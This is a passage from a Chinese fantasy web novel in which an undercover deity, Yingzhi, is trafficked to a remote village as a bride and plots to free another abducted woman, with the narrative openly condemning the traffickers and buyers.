光头冷笑:“不同意就让他们自己来看成色——要不是有点玄乎,这个我都打算往外头卖了。” “健康还好生养,脾气也没那么冲,又有这么个皮囊,到哪不是抢手货?离了这些穷鬼们,到时候叫到一百万也不是没可能。” 说着说着,他拳头猛地咋了一下方向盘, 显然把自己也给说气着了。 “现在要他们八千块,已经够实惠了,带回去到时候又不是一个人用,八千给全家买一个,怎么他们也不会亏——他们要是不肯加,就不卖了!” 另外两人也被这句“一百万”给镇住了。 再看莺芝,都有些不大舍得。 “……算了,八千就八千吧。” 最终,短眉毛想起莺芝的邪性,害怕压过了跃跃欲试,强行按住了念头,“那麻子,你拿个证出来,到时候一块给那边儿。” 麻子“嗯”了一声,从兜里掏了掏,拿出一把身份证,随便抽出来了一张,看了两眼: “刘小雀,二十六。” 光头点头:“行,就这个吧,把年纪往小了说两岁,也刚好。” 于是乎,几人达成统一,决定今晚先叫到八千试试看。 不行就再说。 …… 二排座椅上,莺芝闭着眼,听着他们的讨论,心底一片冷然。 把女性当做商品,以低价出售,定价标准是“健康程度”“是否好生养”以及“脾气”。 连“外貌”这个在许多正常人眼里是最大标准的东西,都只成了添头。 面对没理由的宰客不发作,付钱爽快,这就是性格好,外加出身好的第一印象? 或许,还得有愿意主动帮人,不善于推脱别人好意的劝吃劝喝及帮忙…… 但,不管是怎么评判的,标准先放到一边—— ……一条生命,就只值这么些? 三千?加五千?几万块?一百万? 还有那个什么所谓的“刘小雀”、“就这个吧”…… 莺芝强行压下了心中罕见聚起的火气,继续伪装着昏睡。 周文妤和江花儿,或许也是差不多的状况。 好啊。 他们还真是出手果断又狠辣。 从那个旅社前台开始,到后来的一老一中两个女人,再到他们几个…… 作恶至此,真的就不怕死后的审判吗? 此地城隍可都一笔一笔给记着呢。 不过到了现在,有这么一趟,莺芝也彻底弄明白了前后因果。 从那个老太太行走艰难成那个样子还非要坚持步行出门,还出来这么远,她就察觉有什么地方不太对了。 接下来无非也就是抱着“万一对方是真的需要帮忙呢”的心态,半推半就配合着继续进行了下去,顺便也想看看如果是恶意、那她们到底打算做什么。 再到后来,那妇人劝吃劝喝前,莺芝这回带上的法器里有几枚可以简单卜算的卦币,伪作无聊打发时间抛了几次,问了“是否该去”、“和本次出行的目标是否有关联”……结果是肯定的。 所以,她就直接顺水推舟了。 她此行目的是周文妤—— 如果“有关联”、周文妤也是这样的状况……那她这些年的遭遇,就完全不是姻缘殿的问题了。 和姻缘殿也几乎没有任何关联。 而是彻头彻尾的人祸。 但即便是人祸、和姻缘殿完全无关,眼睁睁见到了这样的事情发生,莺芝也做不到袖手旁观。 虽然在这个节骨眼上,做这些于姻缘殿业绩来说根本无关紧要的事情,极有可能导致她在这次年终评比上继续沦为陪衬…… 但,于莺芝而言,这却是一件既然看到了,那就必须要管的事。 所以无论如何,她都要走这一趟。 先看看他们要带她去到哪里,处理完眼前这件事,再去万措那边,探寻他母亲的真相。 只是不知道眼下这伙人,和周文妤那时的,会不会有什么关系。 又一次的颠簸过后,莺芝身体彻底歪斜躺倒了下去。 前排两个男人回头看了一眼,估计是又想起了这一次竟然连个手机都没收获,不约而同骂了几句,随后才聊起别的。 “说起来,上个月那一票咋样了?买家不是说办事儿的时候摆宴请咱们过去喝酒么,怎么就不说这茬了。” “好像正筹备,那个货点子硬得很,不好教,那边正训着呢,过几天办事儿,少不了你这口的。” …… 昏暗的空间里,没人注意到,莺芝的耳饰不知道什么时候掉落了下去,化作了一条线,随着车辆的颠簸渐渐落到莺芝外套口袋之中,隐匿不见。 面包车又开了两个钟左右,在一处老旧的厂子里停了下来。 后排的麻子下车时经过莺芝,反复确认了一番,见她仍然在昏睡中,人事不省,这才放心离开。 “果然是娇养的,耐药性这么差。” “这回药本来就是改良的,也没少下,按照剂量,少说得躺到半夜了。” 光头几步越过他,朝院子里几个染了头发的半大小年轻招了招手,“来两个人,把车给看好了。晚上要出货,这个就不卸了——给我看好了!” 两个小年轻应声过来,一左一右拉开前排车门,钻了进来。 两人头对头回头打量了几眼,都是啧啧。 “好货啊这回……” “衣服看着挺贵的呢,好人家的女人。” “再贵又咋样,管她啥家庭,到了咱们这儿,都得跪下去,再也不能瞧不起咱,嘿。” …… 两人嘀嘀咕咕一通,聊了会儿天,拿出手机打起了游戏。 天色擦黑时,光头拍了拍车窗,把他俩换了下去,重新换了麻子和短眉毛上来。 面包车又一次发动,这次,走上的路比白天还要颠簸。 又开了两个多钟,世界已经彻底被黑暗笼罩,车子终于停下了摇摆,熄火停下。 光头和短眉毛一起下了车,麻子把莺芝那些旅行包和乱七八糟的东西一起扒拉到后排,二排的座位上只留下她自己。 隐隐约约的交谈声隔着车门传来,又过了一会儿,二排的车门“唰啦”被打开,一道明亮刺眼的光芒晃了过来。 “什么好货,一加就加五千……” “……咦,醒着啊?” 一语落下,周遭几人统统浑身一震,几步围了上来。 座位上,手脚都被捆缚着的年轻女孩,正静静地看着他们。 她的嘴巴也被胶带贴住,但一双乌黑的眼睛在明亮异常的手电筒光柱照耀下,反折着层层的水光。 她不吵不闹,安静地,平静地看着眼前的所有人。 开门的是个老头,原本嘴里还在抱怨着“贵”,但见到莺芝后,短暂的疑惑揭过,满是褶子的脸上哪哪都是满意,愈发仔细地审视起了她。 “看着是还不错……比你们之前卖给郑三家的好多了。” 此时此刻,车辆周围除了老头碎碎念的声音以外,寂静得可怕,光头短眉毛以及麻子三人更是大气都没出一口。 ——她什么时候醒的?! 竟然一点动静也没有! 醒了也不吵不闹,这么安静? ……邪性……太邪性了。 几人身心俱震,和莺芝那双眼对上后,更是觉得忽然就有一股凉意从心底窜上,四肢百骸都有点麻。 “是不错,看着还是你们训好了的……还给收拾这么干净……”老头打量着莺芝,还在嘀咕,“但是加五千还是太多了……原本就打算买个三千的,你们这直接掀了个倍还多,有点贵啊……” “能不能再便宜点啊?我们也不砍多,原价上就光掀个倍成不?要是不……” “成交!” 老头话还没说完呢,一肚子讨价还价的打算都还憋着,结果直接被打断了。 他愕然转头,见到的就是三张面无表情的脸。 做主的光头非常肯定地补充道:“就这么说定了,能把钱现在结了的话就六千给你们。” “能是能……”老头没闹明白咋回事,半脑门子问号,“但是现在就带了三千,得等我们回去拿……” 短眉毛绷着脸:“赶紧去!快点,给你们半个小时,跑快点。” 老头也顾不上多问了,连忙回身,朝跟着他一起来的两个中壮年摆了摆手:“老幺,你去,跟你大哥说,还缺三千块,让他给你拿。” “爹,咱才拿了三千啊,哪还有这么多现钱。”老幺个子不高,体型偏胖,眼睛黏在莺芝身上,嘴里犯难,“拿不出来就带不走了咋办?” “必须带走——那谁家不是说他们家城里的那个老大要回来了?找他们先借点。” 老头交代着,“这是给你小哥娶的老婆,之后传你,所以你上点心,跑快点,知道了不?” 老幺兴冲冲地:“我知道了爹!那我这就去!” 他一头窜进黑暗,老头满意地收回视线, 对光头三人笑道:“嗨,多谢几位兄弟给牵线了,过两天办事儿,你们可千万赏脸来喝两杯啊。” 麻子脸都是麻的,僵硬着身体跟老头对视,愣是不敢回头看莺芝半眼:“不用了,不缺这口。” 老头却不在意他的态度,带着十分满意又打量起了莺芝。 “是怎么训这么好的?等等……这不会是脑子有问题的吧?” 短眉毛感觉自己头皮上出了一层的汗,也保持着姿势,完全不敢再看莺芝——他感觉,她好像还在看他们。 喉头滚了滚,短眉毛梗着脖子骂道:“你儿子脑子都有问题,还嫌弃人家?她好着呢,大城市好人家来的!娶回去好好对待,知道不?” 老头闻言不恼反笑,呵呵之乐:“不傻就好,聪明就更好了,这样没准我们家也能出个金凤凰……” 话没过几句,两束灯光自远而近投照过来,几人不由都抬头看过去。 老头眼疾手快虚拉上车门,一双眼死死盯着来车的方向。 没一会儿,那辆车开近——停了下来! 几人都如临大敌,老头更是皱起了一张脸。 可当他看到从那辆车上下来的人时,浑浊的老眼唰地就亮了起来。 他几小步走过去,脚没停下先开口:“嘿哟,这不是我们高材生吗!今晚到家啊?” 那人显然也没想到这个时间点能在这里见到这么多人,先是一愣,随后认清来人是谁,便也笑着回了一句:“什么高材生,丁叔过奖了——对了,您怎么在这儿?” 老头笑着指了指面包车:“我们家老四的媳妇儿过来了,正谈彩礼呢,钱不给够不下车啊。” 他拍了拍口袋:“带少了,这不,几个哥哥卡着门不让走,正等老幺回去拿了来呢。” 来人怔了怔,朝着面包车的方向看了一眼。 随后,他从自己随身的提包里拿出钱夹:“缺多少?我回来的时候特地取了点,可以先给您垫上,不够的话——可以转账吗?” 后半句是对着面包车周围的光头三人喊的。 “哎哟,可以可以,当然可以!”老头笑眯眯地,“太谢谢你了!” 来人笑了笑:“没关系,都是一个村子的,应该彼此照料。” 老头很快就带上了三千块到了光头身边。 钱只有三千,现金就已经足够。 另一边,男人装起钱夹,带好自己的手提包和行李箱,朝老头点了点头:“那我先回去了,丁叔。” “行,手电你拿着,路上慢点,我们等会儿也回,明儿个找你唠嗑啊。” “好。” 一束手电摇摇晃晃远去,老头得意地把钱交给光头:“六千,我可以带走了吧?” 光头收起钱,点都没点,只皱着眉:“你的谎话很假——他能信?” 老头乐道:“没事儿,这孩子从小就只知道学习,一心想着出人头地,现在也有出息得很,忙着他的事业呢,对这些乱七八糟的事儿都懒得理,信不信都行,不会管。” 见他坚持,光头也不再说话。 他拉开车门,想要伸手拉莺芝,愣是生生止住,对老头道:“你带走吧,身份证放她兜里了。” 老头更高兴了:“来,老三,把你弟妹背回去。” 几分钟后,面包车逃也似地开走了。 第69章 进村 蜿蜒的山道上,老头拄着拐杖慢悠悠地走在前头,壮年男人背着莺芝走在落后一半步的位置,不紧不慢地跟着。 三人四条腿就这么慢吞吞地朝前腾挪着,四周一片漆黑,前边走的老头胸膛前方挂着个灯,照亮前方不平的小路。 他们来的时候是三个人,带了两个手电筒和一个挂脖灯,后来老幺回去拿了一个,又给中途借钱于他们的那位一个,现在俩人这儿只剩了个挂脖灯。 不过也已经够用。 莺芝已经不再装昏,她睁着眼,安静地在男人背上待着。 打头的老头时不时会回过头瞅她两眼,一双老眼里时而是满意,时而又是审视。 莺芝就跟完全没察觉到似地,始终不语,比夜色还要漆黑的眼睛平静地打量着四周。 背她的男人也觉得这么不吵不闹的女人有点稀奇,但老头没发话,他也不敢开口说什么,沉默地当着搬运工。 几分钟后,一道摇摇晃晃的光束由远及近打过来,老头“嘿”了一声:“老幺来了。” 果不其然,等到了近前,那道光束的主人赫然正是先前回家拿钱的老幺。 “爹,我刚刚碰到阿措哥了,他说你们快回来了——你们咋能这么快回来呢,大哥找钱多找了一会儿,你们咋不拖一会儿啊!” “那可是我小哥的媳妇,你们不能就这么——” 他是跑着过来的,上气不接下气,呼哧呼哧直喘,却还嘟嘟囔囔地抱怨着,显然有些气急。 直到看见莺芝,他的声音才戛然而止:“咦……带回来了呀。” “出息!” 老头笑骂了一句,拎起拐杖给他腿上来了一下,“说什么你小哥的媳妇,要不是你也看上了,你小子能这么上心?” 老幺老老实实挨了这一下,挠挠头,嘿嘿直乐,也不多嘴了,低头凑到老头身后,跟着一块往家走。 没走出去几步,他鼻翼翕动,猛地嗅了一口,眼珠子急转:“三哥,你闻见什么香味儿了吗?” 背着莺芝的男人瞥了他一眼:“没有。” 老幺“哦”了一声,视线正大光明落到莺芝身上:“那就是她的味道了,三哥,她咋这么香呢?跟咱们这儿的女的都不一样。” 老三没搭腔,老头已经又一拐杖敲了过来。 “看你那死性!” 他骂道:“急啥急?这是你小哥的媳妇,办完事儿先放你小哥屋里头,你少去霍霍,等给你小哥留完种再说别的,迟早轮上你,别跟个猴儿一样急着上去啃,不然老子打断你腿——” 这一下听声儿应该是敲瓷实了,老幺嗷了一嗓子,骂骂咧咧跳开:“小哥脑子有病,是个傻子,我知道你们都担心他没儿子就死了——什么最疼小的,都是骗小孩的!” “你说的什么狗屁话,眼里还有没有大小了?什么傻子,那是你哥!你给老子过来,别跑,看我不打死你——” 一老一少你一言我一语地拌着嘴,莺芝听着,眼瞳里的墨色已经浓重到化不开的地步。 看样子,那几个带她来这里的人先前的猜测确实是真的。 这些人把被当成货物的女性买回去之后,一般都是要给家里全部男人“使用”的。 留种—— 说得可真是直白。 女性在他们的眼里,或许只是一个生育工具。 难怪在这里,香火最旺盛的是送子殿。 连在绝大多数地方都能混成老大的财神殿,到了这片土地上,都只能排个位置远远比不上前者的添头…… 在这里,生子、留后,就是一个人一辈子的价值所在了。 连那个所谓的“傻子小哥”——在他父亲兄弟的眼里,这辈子的使命和价值,也只有“留种”这一项。 没有留下后代,他不能死;等留下后代之后,就可以去死了。 多么愚昧无知、可恨可恶的思想和观念啊。 而矛盾的是,万措也说过,他们这里还“重男轻女”…… 既崇拜“生育”,认为“繁衍”是所有价值所在,却又瞧不起拥有生育权的女性, 无所不用其极地压榨着女性的一切。 莺芝见得太多,已经可以想象在这种苗头之下,后续会如何发展。 本地的女性饱受欺凌,努力地向外逃,逃的出去的,就绝不再回头,逃不出去的,就沦为这种吃人现状下被吃掉的牺牲品,早早死去,或成为麻木的石。 当这样的状况发展愈久、本地的女性数量达不到他们日常生活的要求时…… 外地的女性,就成为了他们的目标。 或许正是基于落后且愚昧思想、被这种思想驱使——他们一代一代,做出了无数残害无辜女性、令人发指的恶事。 拐卖妇女,这种事其实在千百年前就屡见不鲜。 但是,莺芝仍然觉得眼前这些,过于不正常了。甚至比起千百年前的还让她觉得生气。 早年间,凡人群体里,读书并不是一件很普遍的事,居于偏僻地域的人们,没有几个是读书识字的。 所以人们愚昧。 可现在,凡间这么多年的发展历程显示,“教化”的观念早已深入人心,无论哪里的人,都知道读书的重要性。 就像这里,像眼下—— 刚刚从车上下来的那个人,装扮齐整,妥帖大方,一言一行间彬彬有礼,正是刚刚回程返家的万措。 听口气,他们无疑是相熟的,那这里大概就是万措的村子了。 难怪卜卦时得知的结果的“有关联”,事情就是这样巧合,或许也是天命所致,让她来此。 莺芝明确了这一认知,却更觉得匪夷所思。 村里都能出一个像万措这样“高级”的知识分子了,其余读过书的人也不会少吧? 哪怕只读到初高中,也都该是受过教育、被培养过要树立正确观念的人。 那为什么,此地思想还如此落后? 一人读书,可化万民。 可纵然以现实条件来说,读书人能够“教化”人的没有万数,那千数、百数……——哪怕只是自己身边的人、自己的家人呢? 他们都是普通凡人,或许不知道真的存在神仙,存在城隍、存在因果循环,报应不爽,可—— 退一万步,村子里读过书的人那么多,就没有人知道,做这种事是违反了凡间律法的吗? 这是犯罪! 莺芝不想再想。 遥遥的灯火依稀可见,村落已经不远。 …… 这会儿已经不算早了,村子里的人家大多数都已经关上了门,只留下一些还没灭的灯光透窗而出,在无尽的夜幕下构出几盏零星的光。 老头几人没有耽搁,带着莺芝一路归家,进了院子。 他们家倒是灯火通明。 两个女人挽着袖子在院子里干活,一个锤洗衣服,一个抱着个巨大的食盆,给猪圈食槽添食。 老头几人一进家,两个女人都是抬头看了一眼,随即继续低下头去,干着自己的活。 一个上了年纪的妇人听到动静,从主屋掀了帘子出来,看到院子里的人,当即指着老幺就开始骂。 “真是冤家,一回来就非要找钱,家里哪还有那么多钱?什么媳妇要这么贵、你就跟被狗猪屎糊了心一样非要!不给你还让你大哥来我屋里翻,你要死啊?” 老幺被骂了一路,本来心里就憋着气,又被她这么指着鼻子不由分说骂了一通,脖子一梗,直接回呛。 “这媳妇我也看上了,咋不能要多点钱了?你们只舍得给小哥,不舍得给我是吧?” 老妇眉毛一竖:“郑三家那个还是兄弟仨呢,人家那个总共也才三千,咋的,你比人家郑三家有钱?比人家金贵?” 老幺不甘示弱:“我看上的比郑三家那个好!” “好什么好,能好到哪儿去?不就一个女人?进了屋门一关灯一拉,还有什么区别?” “就是好——” 看他们骂起来没完,老头拐杖一杵地面,沉了脸:“够了!” 两人顿时谁也不敢吱声了。 老头拐杖一抬,指向一个方位:“老三,把她锁柴火屋去。” 老三应了一声,背着莺芝往那边走。 老头又朝喂猪的那个女人吩咐:“老大家的,喂完猪给她弄碗白饭。绳子别解,要是闹腾,就继续贴着嘴,饿着。” 女人应了一声,继续干活。 随后,老头瞪了老妇和老幺一眼:“滚回屋!” 小院里又恢复了安静。 柴火屋的屋子不大,摞满了拆火,只有用完的部分有两三平米的空地,摆放着一把干了的草,和一张破旧的布。 老三把莺芝丢在了那堆铺了布的干草上,看了她两眼,确认她始终没有什么反抗的意愿,才踌躇了一下,多嘴说了一句: “想解手别憋着。没事儿,回头等你安生了,跟小哥办事儿的时候,家里会给你换衣服。” 莺芝平静地看着他,没动作。 “——三哥,赶紧过来,爹要商量办事儿的日子!” 院儿里,老幺的声音响了起来,男人又看了莺芝一眼,不再多停留,直接走了出去。 铁链锁的声音传来,脚步声逐渐远去。 一根红线从莺芝口袋里悄悄爬出来,无声地落到了她肩膀。 红线小人把莺芝嘴上的胶带揭下,轻声道:“都录下来了。” 莺芝点点头。 红线小人爬进她口袋,进了乾坤袋,把手机拿了出来,在口袋里使用;下车被检查时,才把手机又塞了回去。 到村子里来的路上,又录了一些对话,进村后给放了回去。 这一路没少录音,最起码能够从里头听出他们是在做什么勾当了。 毕竟谁也想不到她们会有这样离奇的操作,行动之隐蔽,全程都没有被人注意到。 “不过月仙大人,这里没信号了。”它小声汇报着,“在车上的时候信号不好,但是还有一点,到这后就完全没了。” 莺芝一敛下巴,表示知道了。 接下来,就要尽量多地,打探下村子的情况了。 据目前所能得知的消息来看,现在的村子里,还有一个和她一样、刚被买来不久,因为“太硬”,“没训好”,所以一直没能“办事儿”的女孩在。 而那户人家,应该就是“郑三家”。 莺芝思索了片刻。 这事儿不能她去问,问也问不出来,毕竟这家的人对她的防备远比她想象的要重。 即便她已经这么配合,完全没有反抗,也还是要关上她一阵子,又捆又锁的,连厕所都不给上。 估计是要一直等到“办事儿”的时候,才肯把她给放出这间屋子了。 她还好,毕竟是神仙,自身身体的情况基本可以调节,原也没有什么其他的需求,连被捆了这么久也不会有不适,但那些被掳来的女孩儿们…… 怕是真的要历经一系列难堪难熬的磋磨了。 想到这儿,莺芝也放轻了声音,用气声跟红线小人交代了几句。 “你出去看看,寻找一下有没有其他被困的女子。” 红线小人连连点头。 “莫要被凡人发现,收集信息为主,量力而行。” 红线小人又点点头,见她没别的吩咐了,才重新把胶带贴上,从门缝里爬了出去。 它是靠莺芝灵力维系生命活动的,不过是在天庭时就已经给予的灵力,于莺芝现如今本身的灵力并没有多大关联。 就算它在外边活动,也不会消耗莺芝现在用来傍身的灵力,相反,哪怕莺芝灵力枯竭了,它也还能行动。 加上它本身不会用什么术法,走走跑跑什么的,对灵力的消耗也不算大,化成一根普通的线绳后又相当隐蔽,最适合出去打探消息了。 红线小人离去后,莺芝便调整了一下姿势,让自己坐得更舒服一些,闭目调息了起来。 这里没有姻缘庙,她的仙力又受规则压制,好在这几天不用算卦,体内灵力只供给身体运转的话,还能在凡间停留十数日。 将近二十分钟过去,门上的锁链发出了动静,有人正在动它。 没一会儿,铁门被打开。 一个中年妇女端着个小碗走了进来。 她没关门,借着院子里不太明亮的光照明,走到了莺芝身边。 “我喂你吃饭。” 她在莺芝身边蹲下,把碗放在了地上。 “我给你撕开胶布,但是你别叫,行吗?” 她皮肤黝黑,长着不少斑点,神色看起来有点紧张,直勾勾地盯着莺芝。 莺芝点点头。 妇女似乎松了一口气。 她把贴着莺芝下半张脸的宽胶带给揭了下来,动作不是很重,但毕竟是胶带,揭的时候仍然会有一些疼痛。 而在进行动作时,妇女眼睛则牢牢盯着莺芝,好像生怕她会突然暴起,或者崩溃大哭一样。 见直到整个揭完交代她也没什么大的反应,妇女更放松了一些。 她重新端起碗,用勺子搅了搅,挖出一勺子递到莺芝嘴边:“吃吧。” 光线太昏,但莺芝能看到,那是一碗白米饭。 她没拒绝,顺从地张口,吃了下去。 入口却是微甜。 放了白砂糖? 莺芝有点讶异地抬眼看过去。 女人绷起脸,没有感情地保持着原音量说道:“公公说给你弄白米饭,你就先吃吧,等之后进了我们小哥的房,就有菜吃了。” 等莺芝把这口吃完,女人又在碗里搅了搅,重新舀起一勺,递到莺芝嘴边。 “你配合一点,也能少吃点苦。这几天先腌臜一下,回头都会好的。” 莺芝垂下眼,安静地吃饭。 等小半碗吃完,女人不怎么明显地轻轻吁了一声,随后端起碗,站了起来。 蹲得太久,她腿有点麻,一时间不太稳,晃了两下。 她看向莺芝:“我是你大嫂,以后就是一家人了。” 莺芝不语,只静静地跟她对视。 “你……不会说话?”女人有点惊讶。 她这才微拧起眉,上下打量起眼前的莺芝。 视线从莺芝清秀姣好的面庞,落到虽然经了这么几遭的折腾显得有点杂乱、但依旧乌黑顺滑的头发,再到她身上柔软舒适,一看就价格不菲的衣物。 女人眉头拧得更紧,眼底似有复杂一闪而过,脚步匆匆离开了。 天快亮的时候,红线小人溜了回来。 估计是在各种地方钻缝夹角,它身上蹭得脏兮兮的,都没太敢直接往莺芝身上站。 不过莺芝没嫌弃它,让它站到自己肩膀上后,示意可以开始说了。 红线小人贴近她耳朵,小声道:“这里人家不多,只有几十户。” 莺芝颔首。 “不知道那个是不是郑三家,但是确实有一年轻女子被关在房里,而且除了手脚被绑着,脖子上还用铁链锁了,看管得很严。” “昨晚子时过后,那家还有人起来看她的情况。” 莺芝微微蹙眉。 “其他的人家都挺正常的,没有这样的人了。” 红线小人声音轻轻:“不过,我看到了一点别的——月仙大人,我们昨晚不是见到万措了吗?” 莺芝无声又一点头。 “他家昨晚上不安生!” 莺芝偏头看它。 红线小人补充说明道:“我听到他跟家里人吵架,吵得特别凶——他声音特别大,附近几家都听见了,我都想不到!” “为什么?”莺芝终于开口,音量同样放得很轻。 万措这个人,看上去应该是属于非常追求外在“精致”与“得体”的那一类。的确很难想象他会有大声朝别人说话的时候。 红线小人道:“具体的不清楚,我那时候还没找到‘郑三家’,所以就只听了一会儿。” “好像是说,他母亲的尸身,已经被家里给扔掉了——” “扔?” “对,说是扔到了山上。” 第70章 奔逃 红线小人没来得及更多地抒发感慨,院子里忽然有了动静,它线绳一抖,又一次溜进了莺芝的口袋。 院儿里,昨晚听过的那个老妇人声音传来,支使着那位给莺芝碗里悄悄放了点砂糖的“大嫂”和另一个女人干活。 “先把鸡喂了,然后老大家的去山上捡柴,三儿家的去烧水准备做饭。” 两个女人应了,一阵阵的忙碌声便在小院儿里交错响了起来。 莺芝坐在干草上,闭眼睛静静听着。 又过了一会儿,一道从更远一点响起的女声传了过来: “——大碗儿,走,拾柴去!” “来了崔婶儿!”老大家的那位亮嗓“哎”了一声。 随后,莺芝便听到,关着自己的这道门,门上锁链正在被人摆弄。 门打开,昨晚见过的女人和莺芝对上视线,愣了一下:“你醒了?” 莺芝没说话,女人见她依旧没吵没闹,也不再跟她搭话,大步走到墙边,拿起一个在柴火堆上方放着的大筐,重新离开了屋子。 又过了一会儿,天色大亮时,有人趴在窗缝朝里头看。 莺芝认的出,是昨晚那个老幺。 她抬眼,和老幺对视。 似乎是没想到她这么安生,在柴火屋里呆了一晚上,还能仪表齐整,看着还是干干净净的,老幺眼睛一亮。 “哎——对,说你呢。你不害怕吗?” 莺芝收回视线,不再看他。 老幺不以为忤,一个人说得很开心:“刚听大嫂说,你是个哑巴啊?真的吗,你真不会说话?” 莺芝没搭理他。 “其实我也见过哑巴,我们村儿之前就有一个,不过那个哑巴可吓人了,整天阴沉着脸,脸上还有可大一道疤,一出声都是‘啊啊啊’的,跟老巫婆一样,没人喜欢她,连她男人也不喜欢她。” ——他说,哑巴。 莺芝敏锐捕捉到这个词汇,稍稍皱起眉,重新看向对方。 见她竟然对这个有反应,老幺顿时来劲了。 “我跟你说,这哑巴前几天死了,她男人嫌她晦气,都不愿意让在家放,当时就给扔了。” 他左右四顾,望了一下风,然后把窗户打开一点,胳膊也搭了上来。 “哈哈,害怕了吧?——哎呀,你不一样,你就算是个哑巴,我也不嫌弃你。等你快点给我小哥生个孩子,就可以去我那儿了。你放心吧,我跟那个哑巴她男人也不一样,只要你一直这么乖乖的,我就喜欢你,不打你,等你死了,也给你入我们家祖坟。” 莺芝闭了闭眼。 没有错了,他口中的那个“哑巴”,就是万措的母亲,周文妤。 听他的口气,她在这里,似乎真的是受尽了冷待。 ——不行,不能再这样坐以待毙了。 听周文妤的遭遇,这样过来的女孩子都不会有什么好待遇。 她来到这里是解决问题的,慢慢等下去,一点点搜集信息,是可以解决问题不假,也足够稳妥,但她可以等,那名同样被捉来的年轻女孩却不能。 多等几天,她就多受几分磋磨。 需要主动出击了。 莺芝暗暗思考着接下来的计划要怎么改才能兼具稳妥与效率,却察觉那男人还扒在窗户上看她,眼里是不加掩饰的打量和觊觎,她微微一顿,心念骤转。 “哎,小雀儿,你别光低头啊,抬头让我看看你。” 老幺笑嘻嘻的。 “哄得我高兴了,一会儿我给你弄碗粥来,省得你挨饿。” 莺芝眼波微动。 原本想着趁无人时开门离去,先解救了那女孩再说,只是她们不熟悉这里,要安然逃走是需要费一番功夫,也冒险一些。 但眼下再看,从这人身上下手,姑且也算一个方式。 她不再多想,准备开口。 却听一道男声突兀横了进来。 “——真是哑巴?” 老幺浑身一僵,转头看去,杵着拐杖站在他身后的正是老头。 老幺讪笑:“大嫂说可能是,我刚跟她说话 ,也没吱声。” 老头一拐杖敲他腿上:“大清早就眼巴巴到这儿来,真是欠抽。” 老幺结结实实挨了这一下,有点踌躇:“爹,哑巴也挺好的,你别因为是哑巴就嫌她啊……” 老头眼睛眯起,仔仔细细又打量了一番莺芝,才摇头晃脑地离开。 “哑巴?哑巴好啊,没准咱们家真真能出个金蛋呢。” “老幺,去郑三家通通气儿,问问他们啥时候办,咱们两家一块办了。” 老幺一愣,旋即大喜:“好嘞!” 他回头又看一眼莺芝,笑嘻嘻地:“等着啊,你好事儿近了。” 啪—— 窗户被重新关上。 莺芝敛下眼睫,收回视线。 和郑三家的一起办? 这倒是省了她不少功夫。 看来,能有万措这么个孩子,他们家在这个村里,可真是受尽了羡慕…… 为了一份虚无缥缈的“金蛋”,都能一改谨慎之色,把本该多延些天的“观察期”给提前了。 …… 日上三竿时分,原本还算安静的小院彻底热闹了起来。 几波人先后涌入院子,跟丁老头叽叽咕咕地商讨着什么。 期间也有好些人先后走到窗户边,借窗户观察起屋里地上坐着的莺芝。 接踵而来的是赞叹和惊讶。 “老丁,这么走运啊?整了个这么乖的。” “这好啊,模样不错,不会说话,人也乖,比老郑家那个赔钱货好多了!” “别提了,提起我家那个我就糟心。贱东西,真是亏了我那几千块了。” “——一分价钱一分货啊!老郑,你看看人家老丁这个,难怪这个价呢。” …… 你一眼我一语的点评,就像他们看莺芝的眼神一样,在品评着什么货物、商品。 丁老头乐呵呵的,被夸奖称赞的是他挑选商品的眼光。 “所以我才说咱们可以一块办。” “行,我没意见。不过我们家那个不打算拖了,明天就办,你这儿赶得及吗?” 丁老头不以为然:“有啥赶不及的,弄一套干净衣服,给她洗洗穿上,到时候一块儿拜拜天老爷地老爷,不就行了,整那多干嘛呢。” “行,那就明儿个一块儿拜。” 郑三说着,又想到什么,对丁老头道:“你家这个训得好,能不能教教我,咋整的?” 丁老头眯着眼直笑:“我哪知道,人家卖过来的时候就调好的,要不把你家那个送过来,我们看看?” “不行不行,那个死货前几天差点跑了,逮回来又训了这几天,都还没教好呢,咋敢还放出来。” 看郑三一副如临大敌的样子,丁老头更乐了。 “都是命,都是命啊!” 这时,在窗边的老三忽然感觉自己胳膊被拉了拉。 他扭头,看见莺芝正朝他微笑,细白的手指一指郑三的方向,又指了指自己。 老三一愣,旋即明白过来她的意思,浓黑的眉头叠起。 莺芝手还被捆着,行动还有些受限,但依旧很固执地用手指又拉了拉他,指尖在窗沿的灰尘上写字。 ——让我去。 老三皱眉盯着那几个字看了一会儿:“我不认字。” 莺芝:“……” 失策。 她皱起脸,神情中有些焦急,还带着些怜悯。 好在从她的肢体中也不难猜出她想表达的意思,老三定定看了她一眼,发现除了焦急和怜悯外,看不出什么别的情绪。 他收回视线,扬声道:“爹,让她去跟郑三叔家的媳妇待一待咋样?” 众人视线都集中过来。 莺芝似乎被这一圈人的注视给吓到,浑身都抖了抖,默默后退了几步,藏到了墙边,退出他们的视野范围。 有人笑起来:“胆子这么小啊?” “胆小一点好,胆小就知道害怕,不会找麻烦。” “谁说不是呢,胆子大的打都打不服,只能干耗——老三,你说说,啥叫让她去跟我们家那个待待?”郑三道。 老三也没藏着什么,把自己刚刚的想法原原本本说了出来: “她性子好,胆小怕事,也心软婆妈。我看她听咱们说话,有点心疼你家那个——反正明天就办事儿了,让她去跟你们家那个待待,没准能让那个也沾点她的脾气,软和一点。” “而且好歹也是明儿个一起拜天地的搭子,先熟悉一下,说不定有效果呢。” 院儿里这些个人听他这么说,都陷入了思考。 丁老头是最先开口的,他不赞同:“不行,才一晚上,没观察透呢。” 郑三却很愿意。 他道:“你不是说你家这个有多好多好,买的多值吗?还有什么好不放心的。不如尽点她的作用,教教我家那个,杀杀她的心气儿。” 丁老头老眼一瞪:“不行!” 其余人见状,也都跟着附和起郑三来。 “老丁,你话都撂那儿呢,不得拿事儿给我们证明证明你这眼光有多好么?” “就是啊,有用没用反正也就明儿的事儿了,都是邻里,你也不能看着郑三家俩儿子没媳妇了吧?” …… 丁老头那个不乐意啊。 这帮人说白了就是嫉妒! 嫉妒他占了大便宜,都巴不得给他添点堵。 知道他不乐意让自家儿媳往外头住,所以才一个个都这么说。 “……行行行,去就去。”他无奈妥协,狠狠瞪了一眼提这个建议的三儿子,才又看向其他人,“不过话先说好,她要是跑了,你们得给我抓回来。” “放心吧,就你儿媳这胳膊腿儿,跑不到哪儿去。” 郑三一口应下,当即轰走其他看热闹的,从丁老头家柴火房把莺芝牵了出来。 莺芝脚上的绳子被临时解开了,临出门前,回头看了一眼留在家里的老三。 她刚刚稍微稍微发挥了一点点莺鸟的天赋,按理来说,如果心里没有对她抱有恶意,是很容易被影响的。 